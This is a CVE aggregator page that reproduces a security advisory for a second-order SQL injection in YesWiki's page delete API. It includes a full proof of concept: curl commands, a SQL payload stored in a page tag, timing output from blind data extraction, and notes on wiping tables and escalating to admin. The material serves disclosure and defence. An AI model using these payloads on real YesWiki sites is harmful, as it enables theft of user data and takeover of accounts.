CVE-2026-52771

HIGHPre-NVD 8.38.3
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.3 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
8.3
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 8.3Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (ApiController::deletePage)

Summary

ApiController::deletePage() interpolates a page tag retrieved from the database into a DELETE FROM …_links WHERE to_tag = '$tag' query without escaping. The page tag is attacker-controlled — the POST /api/pages/{tag} API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard {{include page="…"}} link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.

This is a classic second-order SQL injection: the INSERT correctly escapes the value, so the malicious tag is stored intact and the input passes every "is this value safe to put in the database?" check; the sink is the *read-back-and-reuse* path, where escaping is omitted.

Details

Affected component

* File: includes/controllers/ApiController.php * Method: ApiController::deletePage($tag) * Route: @Route("/api/pages/{tag}", methods={"DELETE"}, options={"acl":{"+"}})acl:"+" means *any authenticated user*. * Sink: line 626

// includes/controllers/ApiController.php  (v4.6.5 = origin/doryphore-dev HEAD,
// lines 607–631)
public function deletePage($tag)
{
    $pageManager   = $this->getService(PageManager::class);
    $pageController = $this->getService(PageController::class);
    $dbService     = $this->getService(DbService::class);
    ...
    try {
        $page = $pageManager->getOne($tag, null, false);     // (a) safe SELECT
        if (empty($page)) { ... } else {
            $tag = isset($page['tag']) ? $page['tag'] : $tag;//   ^ raw tag from DB
            $result['notDeleted'] = [$tag];
            if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) {
                if (!$pageManager->isOrphaned($tag)) {
                    $dbService->query(
                        "DELETE FROM {$dbService->prefixTable('links')}
                         WHERE to_tag = '$tag'");           // (b) SINK — unescaped
                }
                ...

The same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:

* tools/tags/handlers/page/__deletepage.php line 14 - DELETE … WHERE to_tag = '$tag', where $tag = $this->GetPageTag() is again the raw stored tag. * handlers/page/deletepage.php lines 93–94 - LoadAll('SELECT DISTINCT from_tag FROM …links WHERE to_tag = '" . $this->GetPageTag() . "'"), same pattern as a SELECT instead of a DELETE.

The API path is the easiest sink to reach because it requires only acl:"+" and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler

A low-privilege account can carry the whole chain:

  • PlantPOST /api/pages/{evil} with body=anything. PageManager::save() escapes the tag at INSERT time ('\'' in SQL ⇒ stored '), so the tag persists with its single quote intact. The new page is owned by the attacker, so UserIsOwner($tag) in the delete handler will return true.
  • Make non-orphaned — save *any* second page whose body contains {{include page=""}} through the web edit handler. LinkTracker::preventTrackingActions() parses the include directive, looks up the referenced page (PageManager::getOne() finds it because lookup uses escape(), which matches the stored quote), and LinkTracker::persist() inserts a row (from_tag='Linker', to_tag='') into _links — again with escape() on the way in, so the raw quote round-trips.
  • TriggerDELETE /api/pages/{evil}. The delete handler reads the page (escaped SELECT, finds the row), assigns $tag = $page['tag'] (the raw stored value, including '), runs isOrphaned($tag) (escaped SELECT, returns *not* orphaned because step 2 inserted a row), and then runs the unescaped DELETE FROM …_links WHERE to_tag = '$tag'. The SQL parser sees the attacker-controlled ' as the end of the string literal; everything after it is treated as SQL.

The injection point is WHERE to_tag = '' — any payload of the form ' -- works. With time-based primitives (SLEEP), the attacker reads any byte of any row of any table the wiki account can see.

End to End Steps to reproduce the issue

  • Preflight
* lab is up at http://localhost:8085
  • Logging in
* admin 'WikiAdmin' and low-priv 'TestUser01' both logged in
  • Tier 1 - POST /api/pages/ (as TestUser01)
* PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- '
  • Tier 2 - make the evil page non-orphaned
* PROOF: yeswiki_links row → LinkPoc->SleepTag' OR SLEEP(2)--
  • Tier 2 - DELETE /api/pages/ (as TestUser01)
* baseline (non-existent tag) : 0.468s * exploit (SLEEP(2) in tag) : 2.555s * delta : 2.087s * PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626
  • Tier 3 - time-based blind data exfiltration
* char='w' elapsed=0.505s miss * char='x' elapsed=0.495s miss * char='y' elapsed=3.522s <- HIT * char='z' elapsed=0.662s miss * PROOF : conditional SLEEP fired only for 'y'

RESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.

PoC

Pre Reqs

Had the following things setup in advance:

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • Admin & User Account setup.

Parts used across PoC:

* Site responding at http://localhost:8085 * Admin account: WikiAdmin / AdminPoc12345 * Low-priv account: TestUser01 / TestPass12345 *(this is the attacker)*

For the rest of this document, set:

BASE="http://localhost:8085"
CTR="yeswiki-poc"
PREFIX="yeswiki_"
CJ=/tmp/yw_user.txt        # cookie jar for our low-priv attacker

Confirm the vulnerable line is actually there:

podman exec "$CTR" \
    grep -n "DELETE FROM.*links.*WHERE to_tag" \
    /var/www/html/includes/controllers/ApiController.php

Expected output:

626: $dbService->query("DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'");

Log in as the low-privilege attacker. We will get the session in return

rm -f "$CJ"
curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" \
     --data-urlencode "action=login"   --data-urlencode "context=LoginPoc" \
     --data-urlencode "name=TestUser01" --data-urlencode "password=TestPass12345" \
     --data-urlencode "remember=1"

Verify the session is logged in:

SID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' "$CJ" | awk '{print $2}') podman exec -u root "$CTR" grep '^user|' "/tmp/sess_${SID}"

Plant a page whose tag contains SQL meta-characters.

The Symfony route accepts the default [^/]+ regex for {tag}, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the stored byte string still contains the literal '. That is the seed of the second-order bug.

EVIL_TAG="SleepTag' OR SLEEP(2)-- "
EVIL_ENC=$(printf '%s' "$EVIL_TAG" | \
    podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_contents("php://stdin"));')

echo "raw tag : $EVIL_TAG" echo "URL-encoded : $EVIL_ENC"

curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \ --data-urlencode "body=poc"

* The API accepted a tag with a literal ' and SQL keywords, completely unsanitized. * The single quote round-tripped through PageManager::save()'s escape() and is now sitting in the database byte-for-byte as SleepTag' OR SLEEP(2)-- — exactly what an attacker needs the read-back to return. * TestUser01 is the owner, so the eventual UserIsOwner($tag) check in the delete handler will pass for them.

Now, create a second page that will link to the evil page

The sink at L626 is gated by if (!$pageManager->isOrphaned($tag)). To pass it, the evil tag has to appear as a to_tag somewhere in the _links table. The cleanest way is the legitimate {{include page="…"}} mechanism: a page whose body references the evil tag will register a link.

First, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):

curl -s -b "$CJ" -X POST "${BASE}/?api/pages/LinkPoc" \
     --data-urlencode "body=placeholder"

Grab its id — we'll need it for the edit form's hidden "previous" field

LINKID=$(podman exec "$CTR" mysql -uroot yeswiki -N -e \ "SELECT id FROM ${PREFIX}pages WHERE tag='LinkPoc' AND latest='Y';") echo "LinkPoc id = $LINKID"

Make the evil page non-orphaned (web edit handler)

Submit a web-editor save with body {{include page=""}}. The pre-handler tools/security/handlers/page/__edit.php would normally require a hashcash token, but env/install.sh disables use_hashcash so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.

NEW_BODY='{{include page="SleepTag'"'"' OR SLEEP(2)-- "}} rev-1'

curl -sL -b "$CJ" -X POST "${BASE}/?LinkPoc/edit" \ --data-urlencode "submit=Sauver" \ --data-urlencode "previous=${LINKID}" \ --data-urlencode "body=${NEW_BODY}"

* The web edit handler called LinkTracker::registerLinks($page, false, false) (handlers/page/edit.php:69). * registerLinks() formatted the page body and reached preventTrackingActions() (includes/services/LinkTracker.php:160). * That regex extracted SleepTag' OR SLEEP(2)-- from {{include page="…"}}, called PageManager::getOne() which found the page (lookup uses escape(), so a stored ' still matches), and called $this->add($page['tag']). * LinkTracker::persist() then inserted (from_tag='LinkPoc', to_tag='') into _links.

Proves: the second-order data has now been planted on both sides of the join the vulnerable DELETE query touches.

We need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn't exist:

T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/NonExistent99" -o /dev/null
T1=$(date +%s.%N)
awk "BEGIN{printf \"baseline elapsed: %.3fs\n\", $T1-$T0}"

Expected output: baseline elapsed: ~0.3–0.7 s (one-shot HTTP round-trip + a fast SELECT … WHERE tag = …). Record this number.

Trigger the SQLi (Tier 2 - the actual vulnerability fires)

Issue a DELETE /api/pages/. The handler reads the page back from the DB, sees the row, takes $tag = $page['tag'] (the raw stored value, still containing '), checks isOrphaned() (returns *not* orphaned because step 5 inserted a row), and runs the unescaped DELETE on L626. With our tag, that becomes:

DELETE FROM yeswiki_links WHERE to_tag = 'SleepTag' OR SLEEP(2)-- '
                                                ^^^ ^^^^^^^^^^^^^^^^
                                                |   injected SQL
                                                breakout

SLEEP(2) runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.

T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/${EVIL_ENC}" -o /tmp/yw_del.json
T1=$(date +%s.%N)
awk "BEGIN{printf \"exploit elapsed: %.3fs\n\", $T1-$T0}"

echo "--- response ---" cat /tmp/yw_del.json; echo

Expected output (the precise timing varies by host, but the *delta* relative to step 6 is what matters):

exploit elapsed: 2.555s
--- response ---
{"deleted":["SleepTag' OR SLEEP(2)-- "]}

Impact

* Blind extraction of any column the wiki database account can read: user password hashes (_users.password), email addresses, ACLs (_acls.list), private page bodies (_pages.body), database session data, etc. * The sink is a DELETE; an attacker can append OR 1=1-- to wipe the entire _links table, breaking inter-page navigation site-wide. The path can also be combined with UNION-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive). * SLEEP() per row scales with link-table size; a malicious tag with SLEEP(60) on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool. * _users.password hashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a low-priv → admin primitive, and chains with the bazar deserialization bug (separate advisory) as low-priv → admin → object injection / future RCE

CVSS v3
8.3
EG Score
8.3(low)
EPSS
KEV
Not listed

Published

July 9, 2026

Last Modified

July 9, 2026

Vendor Advisories for CVE-2026-52771(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 14× in last 7d / 14× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-15 20:05 UTCEG score recompute
  2. 2026-07-15 09:08 UTCEG score recompute
  3. 2026-07-14 22:11 UTCEG score recompute
  4. 2026-07-14 11:14 UTCEG score recompute
  5. 2026-07-14 00:14 UTCEG score recompute
  6. 2026-07-13 13:18 UTCEG score recompute
  7. 2026-07-13 02:22 UTCEG score recompute
  8. 2026-07-12 15:26 UTCEG score recompute
  9. 2026-07-12 04:30 UTCEG score recompute
  10. 2026-07-11 17:33 UTCEG score recompute
  11. 2026-07-11 06:36 UTCEG score recompute
  12. 2026-07-10 19:39 UTCEG score recompute
  13. 2026-07-10 08:42 UTCEG score recompute
  14. 2026-07-09 21:46 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-52771?
CVE-2026-52771 is a high vulnerability published on July 9, 2026. YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (ApiController::deletePage) Summary ApiController::deletePage() interpolates a page tag retrieved from the database into a DELETE FROM …links WHERE totag = '$tag' query without escaping. The page tag is…
When was CVE-2026-52771 disclosed?
CVE-2026-52771 was first published in the National Vulnerability Database on July 9, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-52771?
CVE-2026-52771 has a CVSS v4.0 base score of 8.3 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-52771?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-52771, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-52771

Explore →

Is Your Infrastructure Affected by CVE-2026-52771?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.